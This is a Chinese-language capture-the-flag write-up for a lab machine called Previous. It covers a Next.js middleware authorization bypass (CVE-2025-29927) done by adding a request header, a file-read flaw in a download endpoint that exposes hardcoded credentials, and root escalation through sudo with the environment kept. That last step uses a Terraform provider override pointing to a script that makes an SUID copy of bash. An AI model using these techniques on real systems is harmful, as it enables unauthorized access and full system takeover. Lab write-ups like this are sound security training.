Previous 菜鸟攻坚

省流:
  • Next.js middleware中间件权限绕过 —— CVE-2025-29927
  • /api/download存在文件读取
  • !env_reset 不重置环境变量 —— TerraForm 临时指定配置文件实现RCE

前置:

  • 熟悉Next.js项目结构
    扫描
nmap -A -T5 10.10.11.83

Nmap scan report for previous.htb (10.10.11.83)
Host is up (0.35s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_  256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: PreviousJS
|_http-server-header: nginx/1.18.0 (Ubuntu)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 199/tcp)
HOP RTT       ADDRESS
1   404.76 ms 10.10.16.1 (10.10.16.1)
2   611.55 ms previous.htb (10.10.11.83)
寻找功能点

访问Previous.htb,发现是一个介绍“PreviousJS”的页面

在页面的左下角有一个Contact,发现一个mailto链接,指向“jeremy”;点击上面任意按钮后跳出登录界面

我一开始就知道它是Next.js构建的,怎么知道的?F12然后Ctrl+R ,next.js 的js文件一般为_next/xxxx/xxxx.js

那假设我不知道他是next.js构建的,怎么识别?可以使用wappalyzer进行识别,就发现了

作者的出题意图很明显了,CVE-2025-29927 —— 它是什么?

Next.js 是一个基于 React 的流行 Web 应用框架,提供服务器端渲染、静态网站生成和集成路由系统等功能。

当使用中间件进行身份验证和授权时,Next.js 14.2.25 和 15.2.3 之前的版本存在授权绕过漏洞。

该漏洞允许攻击者通过操作 x-middleware-subrequest 请求头来绕过基于中间件的安全控制,从而可能获得对受保护资源和敏感数据的未授权访问。

它的Payload有如下这些
pages/middleware
src/middleware
middleware

Github一搜,关键字 CVE-2025-29927 ,上面大把利用脚本。这里提供几种不依赖脚本的方法

  1. Burp 手动添加Header
    首先进入登陆界面,输入用户名jeremy,密码随便填;然后burp监听,在每一个request中加入x-middleware-subrequest头,直到看到???
  2. Mod Header添加Header,加入的Header为x-middleware-subrequest,然后照旧,直至看到???

绕过后就进入到这个界面

在Example处可以看到ts示例,点击download可以下载;这里发现是LFI

刚开始我还以为只要读取到家目录下的user.txt就能先获取第一个Flag,但是我尝试了一番,没法读取家目录下的文件;转而从它的目录结构下手,还得感谢AI,我一开始是不知道文件结构的,当时在这卡了许久,bing了一下了解到next.js项目文件夹下一般会有个package.json,转而尝试读取

Next.js 的项目文件结构是这样的(将读取出来的package.json让AI读,AI生成的项目文件结构)

example_app
    package.json
    next.config.js
    tsconfig.json
    .env.local

    public/
    ......

    src/
    ......

    app/
    ......

    pages/
        api/
            ....../
        index.tsx

    styles/
        ......

    node_modules/
        ......

可以看到这里用了蛮多中间件的,也就难怪为什么添加一个header就绕过了;重心放在NextAuth这个中间件上面;当然一开始确实也不知道路径在哪,也是问了AI(把得到的package.json贴上去问他路径结构等等)才得出下面的路由,然后对这些进行文件读取

在读取到第3个时发现了硬编码的账密

结合之前的mailto,可以验证用户名为jeremy,密码为MyNameIsJeremyAndILovePancakes;ssh之后进去了

提权

进去了之后sudo -l,发现在进行sudo操作的时候不重置环境变量,且用户可以以root身份运行terraforms应用,那么可以带入环境变量执行

我也是查了许久才知道怎么利用

首先得创建一个二进制文件terraform-provider-examples,内容可以是这样

#!/bin/bash

cp /bin/bash /tmp/bash ; chmod +s /tmp/bash

随后创建一个文件夹,并创建一个后缀为.tfrc的配置文件(文件名可以自拟),内容为这样

provider_installation {
    dev_overrides {
        "hashicorp/null" = "/tmp/"
    }
    direct {}
}

也可以在某个可写的文件夹创建.terraformrc,内容如上,随后指定TF_CLI_CONFIG_FILE执行命令即可

TF_CLI_CONFIG_FILE=<your-edited-file> sudo terraform --chdir=/opt/examples apply

发表回复